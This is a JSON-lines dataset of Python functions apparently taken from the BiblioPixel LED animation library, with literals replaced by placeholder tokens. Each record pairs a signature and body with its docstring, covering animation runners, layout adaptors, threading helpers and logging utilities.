{"signature": "@property<EOL><INDENT>def threaded(self):<DEDENT>", "body": "return self.desc.run.get('<STR_LIT>', False)<EOL>", "docstring": "True if the Builder is runs in a separate thread, false if the\nBuilder blocks, waiting for the animation to end.", "id": "f1925:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def simpixel(new=<NUM_LIT:0>, autoraise=True):<DEDENT>", "body": "simpixel_driver.open_browser(new=new, autoraise=autoraise)<EOL>", "docstring": "Open an instance of simpixel in the browser", "id": "f1925:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def animations():<DEDENT>", "body": "animations.run(None)<EOL>", "docstring": "List all the existing animations", "id": "f1925:c0:m8"}
{"signature": "def set_one(desc, name, value):", "body": "old_value = desc.get(name)<EOL>if old_value is None:<EOL><INDENT>raise KeyError('<STR_LIT>' % name)<EOL><DEDENT>if value is None:<EOL><INDENT>value = type(old_value)()<EOL><DEDENT>elif name in CLASS_SECTIONS:<EOL><INDENT>if isinstance(value, str):<EOL><INDENT>value = {'<STR_LIT>': aliases.resolve(value)}<EOL><DEDENT>elif isinstance(value, type):<EOL><INDENT>value = {'<STR_LIT>': class_name.class_name(value)}<EOL><DEDENT>elif not isinstance(value, dict):<EOL><INDENT>raise TypeError('<STR_LIT>' % value)<EOL><DEDENT>typename = value.get('<STR_LIT>')<EOL>if typename:<EOL><INDENT>s = '<STR_LIT:s>' if name == '<STR_LIT>' else '<STR_LIT>'<EOL>path = '<STR_LIT>' + name + s<EOL>importer.import_symbol(typename, path)<EOL><DEDENT><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>if not isinstance(value, (list, int, tuple, str)):<EOL><INDENT>raise TypeError('<STR_LIT>' % value)<EOL><DEDENT><DEDENT>elif type(old_value) is not type(value):<EOL><INDENT>raise TypeError('<STR_LIT>' %<EOL>(type(old_value), value, type(value)))<EOL><DEDENT>desc[name] = value<EOL>", "docstring": "Set one section in a Project description", "id": "f1926:m0"}
{"signature": "def update(desc, other=None, **kwds):", "body": "other = other and _as_dict(other) or {}<EOL>for i in other, kwds:<EOL><INDENT>for k, v in i.items():<EOL><INDENT>if isinstance(v, dict):<EOL><INDENT>old_v = desc[k]<EOL>for k2, v2 in v.items():<EOL><INDENT>if v2 is None:<EOL><INDENT>old_v.pop(k2, None)<EOL><DEDENT>else:<EOL><INDENT>old_v[k2] = v2<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>set_one(desc, k, v)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Update sections in a Project description", "id": "f1926:m1"}
{"signature": "def clear(self):", "body": "self._desc = {}<EOL>for key, value in merge.DEFAULT_PROJECT.items():<EOL><INDENT>if key not in self._HIDDEN:<EOL><INDENT>self._desc[key] = type(value)()<EOL><DEDENT><DEDENT>", "docstring": "Clear description to default values", "id": "f1928:c0:m1"}
{"signature": "def items(self):", "body": "return self._desc.items()<EOL>", "docstring": "Return an iterable of (key, section value) pairs", "id": "f1928:c0:m2"}
{"signature": "def update(self, desc=None, **kwds):", "body": "sections.update(self._desc, desc, **kwds)<EOL>", "docstring": "This method updates the description much like dict.update(), *except*:\n\n        1. for description which have dictionary values, it uses update\n           to alter the existing value and does not replace them.\n\n        2. `None` is a special value that means \"clear section to default\" or\n           \"delete field\".", "id": "f1928:c0:m3"}
{"signature": "def as_dict(self):", "body": "return {k: v for k, v in self.items() if v}<EOL>", "docstring": "Returns a dictionary of non-empty description", "id": "f1928:c0:m4"}
{"signature": "def __getitem__(self, index):", "body": "index = self._check_index(index)<EOL>return self.layout.get(*index)<EOL>", "docstring": "Returns the r, g, b pixel at a location in the layout.  May only be\ncalled if self.is_running is true.", "id": "f1929:c0:m1"}
{"signature": "def __setitem__(self, index, color):", "body": "index = self._check_index(index)<EOL>try:<EOL><INDENT>color = make.color(color)<EOL><DEDENT>except:<EOL><INDENT>log.error('<STR_LIT>', color)<EOL>raise<EOL><DEDENT>index.append(color)<EOL>return self.layout.set(*index)<EOL>", "docstring": "Sets the r, g, b pixel at a location in the layout.  May only be called\nif self.is_running is true.", "id": "f1929:c0:m2"}
{"signature": "def load(self, project_file='<STR_LIT>'):", "body": "self._request_project_file(project_file)<EOL>self.clear()<EOL>self.desc.update(data_file.load(self._project_file))<EOL>", "docstring": "Load/reload the description from a YML file. Prompt if no file given.", "id": "f1930:c0:m1"}
{"signature": "def save(self, project_file='<STR_LIT>'):", "body": "self._request_project_file(project_file)<EOL>data_file.dump(self.desc.as_dict(), self.project_file)<EOL>", "docstring": "Save the description as a YML file. Prompt if no file given.", "id": "f1930:c0:m2"}
{"signature": "def clear(self):", "body": "self.desc.clear()<EOL>", "docstring": "Clear description to default values", "id": "f1930:c0:m3"}
{"signature": "def start(self, threaded):", "body": "self.stop()<EOL>self.__class__._INSTANCE = weakref.ref(self)<EOL>self.is_running = True<EOL>if threaded:<EOL><INDENT>self.thread = runnable.LoopThread()<EOL>self.thread.run_once = self._target<EOL>self.thread.start()<EOL><DEDENT>else:<EOL><INDENT>self._target()<EOL><DEDENT>", "docstring": "Creates and starts the project.", "id": "f1931:c0:m1"}
{"signature": "def stop(self):", "body": "if self.is_running:<EOL><INDENT>log.info('<STR_LIT>')<EOL>self.is_running = False<EOL>self.__class__._INSTANCE = None<EOL>try:<EOL><INDENT>self.thread and self.thread.stop()<EOL><DEDENT>except:<EOL><INDENT>log.error('<STR_LIT>')<EOL>traceback.print_exc()<EOL><DEDENT>self.thread = None<EOL>return True<EOL><DEDENT>", "docstring": "Stop the Runner if it's running.\nCalled as a classmethod, stop the running instance if any.", "id": "f1931:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def instance(cls):<DEDENT>", "body": "return cls._INSTANCE and cls._INSTANCE()<EOL>", "docstring": "Return the unique instance of Runner, if any, or None", "id": "f1931:c0:m3"}
{"signature": "def __init__(self, *args, limit=None, **kwds):", "body": "super().__init__(*args, **kwds)<EOL>self.limit = Limit(**(limit or {}))<EOL>self._math = color_list.Math(self.color_list)<EOL>", "docstring": ":param dict limit: A construction dictionary for a Limit.", "id": "f1947:c0:m0"}
{"signature": "def __init__(self, *args, filename='<STR_LIT>', render=None,<EOL>divide=<NUM_LIT:1>, frames=<NUM_LIT>, time=<NUM_LIT:0>, scale=<NUM_LIT:1.0>, options=None,<EOL>gif_dir=None, **kwds):", "body": "super().__init__(*args, **kwds)<EOL>self.movie_writer = _movie_writer.MovieWriter(<EOL>filename, render, divide, frames, time, scale, options, gif_dir)<EOL>", "docstring": ":param str filename: Base filename to write the animated GIF file\n\n:param dict render: Parameters to the renderer function -\n    see ``bibliopixel.util.image.render.renderer``\n\n:param int divide: If greater than 1, only rendered one in ``divide``\n    frames\n\n:param int frames: Number of frames to write\n\n:param float time: Total time to write.  If non-zero, takes precedence\n    over `frames`\n\n:param float speed: the speed of the GIF is scaled up by this factor,\n    so if speed=2 then a 2 second animation will become a 1 second GIF.\n\n:param dict options: Options to\n    ``bibliopixel.util.image.gif.write_animation``\n\n:param str gif_dir: If set, write individual GIF frame files to this\n    directory, and do not delete them when done.  For testing purposes.", "id": "f1948:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def construct(cls, project, *, run=None, name=None, data=None, **desc):<DEDENT>", "body": "from . failed import Failed<EOL>exception = desc.pop('<STR_LIT>', None)<EOL>if exception:<EOL><INDENT>a = Failed(project.layout, desc, exception)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>a = cls(project.layout, **desc)<EOL>a._set_runner(run or {})<EOL><DEDENT>except Exception as e:<EOL><INDENT>if cls.FAIL_ON_EXCEPTION:<EOL><INDENT>raise<EOL><DEDENT>a = Failed(project.layout, desc, e)<EOL><DEDENT><DEDENT>a.name = name<EOL>a.data = data<EOL>return a<EOL>", "docstring": "Construct an animation, set the runner, and add in the two\n\"reserved fields\" `name` and `data`.", "id": "f1952:c0:m0"}
{"signature": "def __init__(self, layout, *, preclear=True, fail_on_exception=None, **kwds):", "body": "self.palette = legacy_palette.pop_legacy_palette(<EOL>kwds, *self.COLOR_DEFAULTS)<EOL>self.palette.length = layout.numLEDs<EOL>attributes.set_reserved(self, '<STR_LIT>', **kwds)<EOL>self.layout = layout<EOL>assert layout<EOL>self.internal_delay = None<EOL>self.on_completion = None<EOL>self.state = runner.STATE.ready<EOL>self.preclear = preclear<EOL>self.runner = None<EOL>self.time = time.time<EOL>self.preframe_callbacks = []<EOL>self.fail_on_exception = self.FAIL_ON_EXCEPTION if fail_on_exception is None else fail_on_exception<EOL>", "docstring": "Arguments:\n  preclear: If True, clear the layout before rendering the frame;\n      otherwise, the results of the previous frame are preserved\n\n  fail_on_exception: If False, exceptions thrown in the animation frame are\n      caught and reported;\n      if True, exceptions are are raised, potentially ending the\n      animation cycle and the program;\n      if None or not set, the value of Animation.FAIL_ON_EXCEPTION is used", "id": "f1952:c0:m1"}
{"signature": "@property<EOL><INDENT>def _led(self):<DEDENT>", "body": "return self.layout<EOL>", "docstring": "Many BiblioPixelAnimations use the \"protected\" variable _led.", "id": "f1952:c0:m3"}
{"signature": "@property<EOL><INDENT>def completed(self):<DEDENT>", "body": "return self.state == runner.STATE.complete<EOL>", "docstring": "Many BiblioPixelAnimations use the old `completed` variable.", "id": "f1952:c0:m7"}
{"signature": "def add_preframe_callback(self, callback):", "body": "self.preframe_callbacks.append(callback)<EOL>", "docstring": "The preframe_callbacks are called right before the start of a\nframe rendering pass.\n\nTo avoid race conditions when editing values, the ``Project``\nadds a callback here for the top-level animation, to drain the\nedit_queue at a moment where no rendering is\nhappening.", "id": "f1952:c0:m13"}
{"signature": "def __init__(self, *args, overlay=False, detach=True, **kwds):", "body": "super().__init__(*args, **kwds)<EOL>if detach:<EOL><INDENT>self.detach(overlay)<EOL><DEDENT>", "docstring": "If overlay is True, then preclear is set to False for everything\nother than the first animation.", "id": "f1954:c0:m0"}
{"signature": "def __init__(self, layout, random=False, length=None, **kwds):", "body": "super().__init__(layout, **kwds)<EOL>self.random = random<EOL>if isinstance(length, (list, tuple)):<EOL><INDENT>self.length = length<EOL><DEDENT>else:<EOL><INDENT>self.length = length and [length]<EOL><DEDENT>", "docstring": "Arguments\n\nrandom -- If True, a random animation is selected each step\nlength -- if length is a number, run all the animations in a loop\n    for `length` seconds each.  If `length` is a list of numbers,\n    use the numbers successively as times.", "id": "f1955:c0:m0"}
{"signature": "def opener(ip_address, port, delay=<NUM_LIT:1>):", "body": "global WEBPAGE_OPENED<EOL>if WEBPAGE_OPENED:<EOL><INDENT>return<EOL><DEDENT>WEBPAGE_OPENED = True<EOL>raw_opener(ip_address, port, delay)<EOL>", "docstring": "Wait a little and then open a web browser page for the control panel.", "id": "f1966:m0"}
{"signature": "def raw_opener(ip_address, port, delay=<NUM_LIT:1>):", "body": "def target():<EOL><INDENT>time.sleep(delay)<EOL>url = '<STR_LIT>' % (ip_address, port)<EOL>webbrowser.open(url, new=<NUM_LIT:0>, autoraise=True)<EOL><DEDENT>threading.Thread(target=target, daemon=True).start()<EOL>", "docstring": "Wait a little and then open a web browser page for the control panel.", "id": "f1966:m1"}
{"signature": "def _clean_animation(desc, parent):", "body": "desc = load.load_if_filename(desc) or desc<EOL>if isinstance(desc, str):<EOL><INDENT>animation = {'<STR_LIT>': desc}<EOL><DEDENT>elif not isinstance(desc, dict):<EOL><INDENT>raise TypeError('<STR_LIT>' % type(desc))<EOL><DEDENT>elif '<STR_LIT>' in desc or '<STR_LIT>' not in desc:<EOL><INDENT>animation = desc<EOL><DEDENT>else:<EOL><INDENT>animation = desc.pop('<STR_LIT>', {})<EOL>if isinstance(animation, str):<EOL><INDENT>animation = {'<STR_LIT>': animation}<EOL><DEDENT>animation['<STR_LIT>'] = desc.pop('<STR_LIT>', {})<EOL>if desc:<EOL><INDENT>raise ValueError('<STR_LIT>' + '<STR_LIT:U+002CU+0020>'.join(desc))<EOL><DEDENT><DEDENT>animation.setdefault('<STR_LIT>', DEFAULT_ANIMATION)<EOL>animation = construct.to_type_constructor(animation, ANIMATION_PATH)<EOL>datatype = animation.setdefault('<STR_LIT>', failed.Failed)<EOL>animation.setdefault('<STR_LIT:name>', datatype.__name__)<EOL>run = animation.setdefault('<STR_LIT>', {})<EOL>run_parent = parent.setdefault('<STR_LIT>', {})<EOL>if not ('<STR_LIT>' in run or '<STR_LIT>' in run):<EOL><INDENT>if '<STR_LIT>' in run_parent:<EOL><INDENT>run.update(fps=run_parent['<STR_LIT>'])<EOL><DEDENT>elif '<STR_LIT>' in run_parent:<EOL><INDENT>run.update(sleep_time=run_parent['<STR_LIT>'])<EOL><DEDENT><DEDENT>return animation<EOL>", "docstring": "Cleans up all sorts of special cases that humans want when entering\nan animation from a yaml file.\n\n1. Loading it from a file\n2. Using just a typename instead of a dict\n3. A single dict representing an animation, with a run: section.\n4. (Legacy) Having a dict with parallel elements run: and animation:\n5. (Legacy) A tuple or list: (animation, run )", "id": "f1968:m0"}
{"signature": "def _make_names_unique(animations):", "body": "counts = {}<EOL>for a in animations:<EOL><INDENT>c = counts.get(a['<STR_LIT:name>'], <NUM_LIT:0>) + <NUM_LIT:1><EOL>counts[a['<STR_LIT:name>']] = c<EOL>if c > <NUM_LIT:1>:<EOL><INDENT>a['<STR_LIT:name>'] += '<STR_LIT:_>' + str(c - <NUM_LIT:1>)<EOL><DEDENT><DEDENT>dupes = set(k for k, v in counts.items() if v > <NUM_LIT:1>)<EOL>for a in animations:<EOL><INDENT>if a['<STR_LIT:name>'] in dupes:<EOL><INDENT>a['<STR_LIT:name>'] += '<STR_LIT>'<EOL><DEDENT><DEDENT>", "docstring": "Given a list of animations, some of which might have duplicate names, rename\nthe first one to be <duplicate>_0, the second <duplicate>_1,\n<duplicate>_2, etc.", "id": "f1968:m1"}
{"signature": "def detach(self, overlay):", "body": "<EOL>for i, a in enumerate(self.animations):<EOL><INDENT>a.layout = a.layout.clone()<EOL>if overlay and i:<EOL><INDENT>a.preclear = False<EOL><DEDENT><DEDENT>", "docstring": "Give each animation a unique, mutable layout so they can run\nindependently.", "id": "f1968:c0:m6"}
{"signature": "def __init__(self, *args, size=<NUM_LIT:100>, **kwds):", "body": "super().__init__(*args, detach=False, **kwds)<EOL>if not size:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.size = size if isinstance(size, list) else [size]<EOL>self.is_numpy = hasattr(self.color_list, '<STR_LIT>')<EOL>for animation, begin, end in self._foreach():<EOL><INDENT>animation.layout = Strip([], color_list=self.color_list[begin:end])<EOL><DEDENT>", "docstring": "Arguments --\n    size: a number or a list of numbers representing the size of each\n        segment from the original layout.  If there aren't enough sizes\n        for each segment, the list of sizes is reused repeatedly.", "id": "f1971:c0:m0"}
{"signature": "@property<EOL><INDENT>def index(self):<DEDENT>", "body": "return self._index<EOL>", "docstring": ":returns int: index of the current animation within the Collection.", "id": "f1972:c0:m0"}
{"signature": "def _on_index(self, old_index):", "body": "if self.animation:<EOL><INDENT>log.debug('<STR_LIT>',<EOL>self.__class__.__name__, self.current_animation.title)<EOL>self.frames = self.animation.generate_frames(False)<EOL><DEDENT>", "docstring": "Override this method to get called right after ``self.index`` is set.\n\n:param int old_index: the previous index, before it was changed.", "id": "f1972:c0:m2"}
{"signature": "@property<EOL><INDENT>def animation(self):<DEDENT>", "body": "if <NUM_LIT:0> <= self._index < len(self.animations):<EOL><INDENT>return self.animations[self._index]<EOL><DEDENT>", "docstring": ":returns: the selected animation based on self.index, or None if\n    self.index is out of bounds", "id": "f1972:c0:m7"}
{"signature": "@property<EOL><INDENT>def current_animation(self):<DEDENT>", "body": "return self.animation<EOL>", "docstring": "DEPRECATED:\n:returns: self.animation", "id": "f1972:c0:m8"}
{"signature": "def step(self, amt=<NUM_LIT:1>):", "body": "if not self._stop_event.isSet():<EOL><INDENT>self._hold_for_data.wait()<EOL>self._hold_for_data.clear()<EOL><DEDENT>", "docstring": "This may seem silly, but on a Receiver step() need not do anything.\nInstead, receive the data on the receive thread and set it on the buffer\nthen call self._hold_for_data.set()", "id": "f1973:c1:m6"}
{"signature": "def adapt_animation_layout(animation):", "body": "layout = animation.layout<EOL>required = getattr(animation, '<STR_LIT>', None)<EOL>if not required or isinstance(layout, required):<EOL><INDENT>return<EOL><DEDENT>msg = LAYOUT_WARNING % (<EOL>type(animation).__name__, required.__name__, type(layout).__name__)<EOL>setter = layout.set<EOL>adaptor = None<EOL>if required is strip.Strip:<EOL><INDENT>if isinstance(layout, matrix.Matrix):<EOL><INDENT>width = layout.width<EOL>def adaptor(pixel, color=None):<EOL><INDENT>y, x = divmod(pixel, width)<EOL>setter(x, y, color or BLACK)<EOL><DEDENT><DEDENT>elif isinstance(layout, cube.Cube):<EOL><INDENT>lx, ly = layout.x, layout.y<EOL>def adaptor(pixel, color=None):<EOL><INDENT>yz, x = divmod(pixel, lx)<EOL>z, y = divmod(yz, ly)<EOL>setter(x, y, z, color or BLACK)<EOL><DEDENT><DEDENT>elif isinstance(layout, circle.Circle):<EOL><INDENT>def adaptor(pixel, color=None):<EOL><INDENT>layout._set_base(pixel, color or BLACK)<EOL><DEDENT><DEDENT><DEDENT>elif required is matrix.Matrix:<EOL><INDENT>if isinstance(layout, strip.Strip):<EOL><INDENT>width = animation.width<EOL>def adaptor(x, y, color=None):<EOL><INDENT>setter(x + y * width, color or BLACK)<EOL><DEDENT><DEDENT><DEDENT>if not adaptor:<EOL><INDENT>raise ValueError(msg)<EOL><DEDENT>log.warning(msg)<EOL>animation.layout.set = adaptor<EOL>", "docstring": "Adapt the setter in an animation's layout so that Strip animations can run\non on Matrix, Cube, or Circle layout, and Matrix or Cube animations can run\non a Strip layout.", "id": "f1979:m0"}
{"signature": "def __init__(self, offset=<NUM_LIT:0>, begin=None, end=None):", "body": "self.begin = self.BEGIN if begin is None else begin<EOL>self.end = self.END if end is None else end<EOL>if not (self.BEGIN <= self.begin <= self.end <= self.END):<EOL><INDENT>raise ValueError('<STR_LIT>' %<EOL>(self.BEGIN, self.begin, self.end, self.END))<EOL><DEDENT>self.offset = offset<EOL>", "docstring": "Unlike a `range`, an OffsetRange includes both its begin *and* its end,\nso it's closer to how regular people think of a range - for example\nthat DMX channels are in the range 1-512.", "id": "f1982:c0:m0"}
{"signature": "def index(self, i, length=None):", "body": "if self.begin <= i <= self.end:<EOL><INDENT>index = i - self.BEGIN - self.offset<EOL>if length is None:<EOL><INDENT>length = self.full_range()<EOL><DEDENT>else:<EOL><INDENT>length = min(length, self.full_range())<EOL><DEDENT>if <NUM_LIT:0> <= index < length:<EOL><INDENT>return index<EOL><DEDENT><DEDENT>", "docstring": "Return an integer index or None", "id": "f1982:c0:m2"}
{"signature": "def read_from(self, data, pad=<NUM_LIT:0>):", "body": "for i in range(self.BEGIN, self.END + <NUM_LIT:1>):<EOL><INDENT>index = self.index(i, len(data))<EOL>yield pad if index is None else data[index]<EOL><DEDENT>", "docstring": "Returns a generator with the elements \"data\" taken by offset, restricted\nby self.begin and self.end, and padded on either end by `pad` to get\nback to the original length of `data`", "id": "f1982:c0:m3"}
{"signature": "def pointOnCircle(cx, cy, radius, angle):", "body": "angle = math.radians(angle) - (math.pi / <NUM_LIT:2>)<EOL>x = cx + radius * math.cos(angle)<EOL>if x < cx:<EOL><INDENT>x = math.ceil(x)<EOL><DEDENT>else:<EOL><INDENT>x = math.floor(x)<EOL><DEDENT>y = cy + radius * math.sin(angle)<EOL>if y < cy:<EOL><INDENT>y = math.ceil(y)<EOL><DEDENT>else:<EOL><INDENT>y = math.floor(y)<EOL><DEDENT>return (int(x), int(y))<EOL>", "docstring": "Calculates the coordinates of a point on a circle given the center point,\nradius, and angle.", "id": "f1983:m6"}
{"signature": "def genVector(width, height, x_mult=<NUM_LIT:1>, y_mult=<NUM_LIT:1>):", "body": "center_x = (width - <NUM_LIT:1>) / <NUM_LIT:2><EOL>center_y = (height - <NUM_LIT:1>) / <NUM_LIT:2><EOL>def length(x, y):<EOL><INDENT>dx = math.pow(x - center_x, <NUM_LIT:2> * x_mult)<EOL>dy = math.pow(y - center_y, <NUM_LIT:2> * y_mult)<EOL>return int(math.sqrt(dx + dy))<EOL><DEDENT>return [[length(x, y) for x in range(width)] for y in range(height)]<EOL>", "docstring": "Generates a map of vector lengths from the center point to each coordinate.\n\nwidth - width of matrix to generate\nheight - height of matrix to generate\nx_mult - value to scale x-axis by\ny_mult - value to scale y-axis by", "id": "f1983:m7"}
{"signature": "def class_name(c):", "body": "if not isinstance(c, type):<EOL><INDENT>c = type(c)<EOL><DEDENT>return '<STR_LIT>' % (c.__module__, c.__name__)<EOL>", "docstring": ":param c: either an object or a class\n:return: the classname as a string", "id": "f1984:m0"}
{"signature": "def parse(s):", "body": "parts = s.replace('<STR_LIT:U+002C>', '<STR_LIT:U+0020>').split()<EOL>if not parts:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>pieces = []<EOL>for part in parts:<EOL><INDENT>m = PART_MATCH(part)<EOL>pieces.extend(m.groups() if m else [part])<EOL><DEDENT>if len(pieces) == <NUM_LIT:1>:<EOL><INDENT>pieces.append('<STR_LIT:s>')<EOL><DEDENT>if len(pieces) % <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>' % (s, parts, pieces))<EOL><DEDENT>result = <NUM_LIT:0><EOL>for number, units in zip(*[iter(pieces)] * <NUM_LIT:2>):<EOL><INDENT>number = float(number)<EOL>if number < <NUM_LIT:0>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>result += number * _get_units(units)<EOL><DEDENT>return result<EOL>", "docstring": "Parse a string representing a time interval or duration into seconds,\nor raise an exception\n\n:param str s: a string representation of a time interval\n:raises ValueError: if ``s`` can't be interpreted as a duration", "id": "f1987:m1"}
{"signature": "def __init__(self, filename):", "body": "self.__filename = filename<EOL>data = data_file.load(filename) if os.path.exists(filename) else {}<EOL>super().__init__(data)<EOL>", "docstring": ":param c: the filename to store the DATA_FILE in", "id": "f1988:c0:m0"}
{"signature": "def __init__(self, constructor, **kwds):", "body": "self.servers = {}<EOL>self.constructor = constructor<EOL>self.kwds = kwds<EOL>", "docstring": ":param constructor: a function which takes a key and some keywords,\n    and returns a new server\n:param kwds: keywords to the ``constructor`` function", "id": "f1989:c1:m0"}
{"signature": "def get_server(self, key, **kwds):", "body": "kwds = dict(self.kwds, **kwds)<EOL>server = self.servers.get(key)<EOL>if server:<EOL><INDENT>server.check_keywords(self.constructor, kwds)<EOL><DEDENT>else:<EOL><INDENT>server = _CachedServer(self.constructor, key, kwds)<EOL>self.servers[key] = server<EOL><DEDENT>return server<EOL>", "docstring": "Get a new or existing server for this key.\n\n:param int key: key for the server to use", "id": "f1989:c1:m1"}
{"signature": "def __init__(self, ratio=<NUM_LIT:1>, knee=<NUM_LIT:0>, gain=<NUM_LIT:1>, enable=True):", "body": "<EOL>self.ratio = ratio<EOL>self.knee = knee<EOL>self.gain = gain<EOL>self.enable = enable<EOL>", "docstring": ":param float ratio: the compression ratio (1 means no compression).\n    ratio should usually between 0 and 1.\n\n:param float knee: the ratio where the compression starts to kick in.\n    knee should usually be 0 <= knee <= ratio\n\n:param float gain: post limiter output gain. gain should usually be >= 0", "id": "f1990:c0:m0"}
{"signature": "def run(self, next_task):", "body": "self.event.wait()<EOL>self.task()<EOL>self.event.clear()<EOL>next_task.event.set()<EOL>", "docstring": "Wait for the event, run the task, trigger the next task.", "id": "f1991:c0:m1"}
{"signature": "@property<EOL><INDENT>def running(self):<DEDENT>", "body": "return self.run_event.is_set() and not self.stop_event.is_set()<EOL>", "docstring": "Is this Runnable expected to make any progress from here?\n\nThe Runnable might still execute a little code after it has stopped\nrunning.", "id": "f1993:c0:m1"}
{"signature": "def is_alive(self):", "body": "return self.running<EOL>", "docstring": "Is this Runnable still executing code?\n\nIn some cases, such as threads, self.is_alive() might be true for some\ntime after self.running has turned False.", "id": "f1993:c0:m2"}
{"signature": "def cleanup(self):", "body": "", "docstring": "Cleans up resources after the Runnable.\n\nself.cleanup() may not throw an exception.", "id": "f1993:c0:m6"}
{"signature": "def run_once(self):", "body": "pass<EOL>", "docstring": "The target code that is repeatedly executed in the run method", "id": "f1993:c0:m8"}
{"signature": "@contextlib.contextmanager<EOL><INDENT>def run_until_stop(self):<DEDENT>", "body": "self.start()<EOL>try:<EOL><INDENT>yield self<EOL><DEDENT>finally:<EOL><INDENT>self.stop()<EOL><DEDENT>self.wait()<EOL>", "docstring": "A context manager that starts this Runnable, yields,\nand then waits for it to finish.", "id": "f1993:c0:m9"}
{"signature": "def compose_events(events, condition=all):", "body": "events = list(events)<EOL>master_event = threading.Event()<EOL>def changed():<EOL><INDENT>if condition(e.is_set() for e in events):<EOL><INDENT>master_event.set()<EOL><DEDENT>else:<EOL><INDENT>master_event.clear()<EOL><DEDENT><DEDENT>def add_changed(f):<EOL><INDENT>@functools.wraps(f)<EOL>def wrapped():<EOL><INDENT>f()<EOL>changed()<EOL><DEDENT>return wrapped<EOL><DEDENT>for e in events:<EOL><INDENT>e.set = add_changed(e.set)<EOL>e.clear = add_changed(e.clear)<EOL><DEDENT>changed()<EOL>return master_event<EOL>", "docstring": "Compose a sequence of events into one event.\n\nArguments:\n    events:    a sequence of objects looking like threading.Event\n    condition: a function taking a sequence of bools and returning a bool.", "id": "f1994:m0"}
{"signature": "def run(function, *args, use_subprocess=False, daemon=True, **kwds):", "body": "if use_subprocess:<EOL><INDENT>Creator, Queue = multiprocessing.Process, multiprocessing.Queue<EOL><DEDENT>else:<EOL><INDENT>Creator, Queue = threading.Thread, queue.Queue<EOL><DEDENT>input, output = Queue(), Queue()<EOL>args = input, output, function, args<EOL>sub = Creator(target=_run_locally, args=args, kwargs=kwds, daemon=daemon)<EOL>sub.start()<EOL>return sub, input, output<EOL>", "docstring": "Create input, output queues, call `function` in a subprocess or a thread.\n\n``function`` is called like this: ``function(input, output, *args, **kwds)``\n\n:param use_subprocess: if true, create a new multiprocess;\n                       if false, create a new thread\n:param function: the function to call\n:param daemon: is the thread or subprocess run as a daemon or not?\n\n:param args: positional arguments to the function\n:param kwds: keyword arguments to the function\n:returns: a tuple with three elements: the subprocess or thread, an input\n          queue, and an output queue.", "id": "f1995:m1"}
{"signature": "def __init__(self, function, errors):", "body": "assert isinstance(errors, int) or errors in (<EOL>'<STR_LIT>', '<STR_LIT:ignore>', '<STR_LIT>')<EOL>self.function = function<EOL>self.errors = errors<EOL>self.error_count = <NUM_LIT:0><EOL>", "docstring": ":param function: the function to wrap\n:param errors: either a number, indicating how many errors to report\n   before ignoring them, or one of these strings:\n   'raise', meaning to raise an exception\n   'ignore', meaning to ignore all errors\n   'report', meaning to report all errors", "id": "f1997:c0:m0"}
{"signature": "def __call__(self, *args, **kwds):", "body": "try:<EOL><INDENT>return self.function(*args, **kwds)<EOL><DEDENT>except Exception as e:<EOL><INDENT>self.error_count += <NUM_LIT:1><EOL>if self.errors == '<STR_LIT>':<EOL><INDENT>raise<EOL><DEDENT>if self.errors == '<STR_LIT:ignore>':<EOL><INDENT>return<EOL><DEDENT>args = (class_name.class_name(e),) + e.args<EOL><DEDENT>if self.errors == '<STR_LIT>' or self.error_count <= self.errors:<EOL><INDENT>log.error(str(args))<EOL><DEDENT>elif self.error_count == self.errors + <NUM_LIT:1>:<EOL><INDENT>log.error('<STR_LIT>', self.errors)<EOL><DEDENT>", "docstring": "Calls `self.function` with the given arguments and keywords, and\nreturns its value - or if the call throws an exception, returns None.", "id": "f1997:c0:m1"}
{"signature": "def _addLoggingLevel(levelName, levelNum, methodName=None):", "body": "if not methodName:<EOL><INDENT>methodName = levelName.lower()<EOL><DEDENT>if hasattr(logging, levelName):<EOL><INDENT>raise AttributeError(<EOL>'<STR_LIT>'.format(levelName))<EOL><DEDENT>if hasattr(logging, methodName):<EOL><INDENT>raise AttributeError(<EOL>'<STR_LIT>'.format(methodName))<EOL><DEDENT>if hasattr(logging.getLoggerClass(), methodName):<EOL><INDENT>raise AttributeError(<EOL>'<STR_LIT>'.format(methodName))<EOL><DEDENT>def logForLevel(self, message, *args, **kwargs):<EOL><INDENT>if self.isEnabledFor(levelNum):<EOL><INDENT>self._log(levelNum, message, args, **kwargs)<EOL><DEDENT><DEDENT>def logToRoot(message, *args, **kwargs):<EOL><INDENT>logging.log(levelNum, message, *args, **kwargs)<EOL><DEDENT>logging.addLevelName(levelNum, levelName)<EOL>setattr(logging, levelName, levelNum)<EOL>setattr(logging.getLoggerClass(), methodName, logForLevel)<EOL>setattr(logging, methodName, logToRoot)<EOL>", "docstring": "Comprehensively adds a new logging level to the `logging` module and the\ncurrently configured logging class.\n\n`levelName` becomes an attribute of the `logging` module with the value\n`levelNum`. `methodName` becomes a convenience method for both `logging`\nitself and the class returned by `logging.getLoggerClass()` (usually just\n`logging.Logger`). If `methodName` is not specified, `levelName.lower()` is\nused.\n\nTo avoid accidental clobberings of existing attributes, this method will\nraise an `AttributeError` if the level name is already an attribute of the\n`logging` module or if the method name is already present\n\nExample\n-------\n>>> addLoggingLevel('TRACE', logging.DEBUG - 5)\n>>> logging.getLogger(__name__).setLevel(\"TRACE\")\n>>> logging.getLogger(__name__).trace('that worked')\n>>> logging.trace('so did this')\n>>> logging.TRACE\n5", "id": "f1998:m2"}
{"signature": "def set_log_level(level):", "body": "if isinstance(level, str):<EOL><INDENT>level = LOG_NAMES[level.lower()]<EOL><DEDENT>logger.setLevel(level)<EOL>", "docstring": ":param level: the level to set - either a string level name from\n              'frame', 'debug', 'info', 'warning', 'error'\n              or an integer log level from:\n              log.FRAME, log.DEBUG, log.INFO, log.WARNING, log.ERROR", "id": "f1998:m4"}
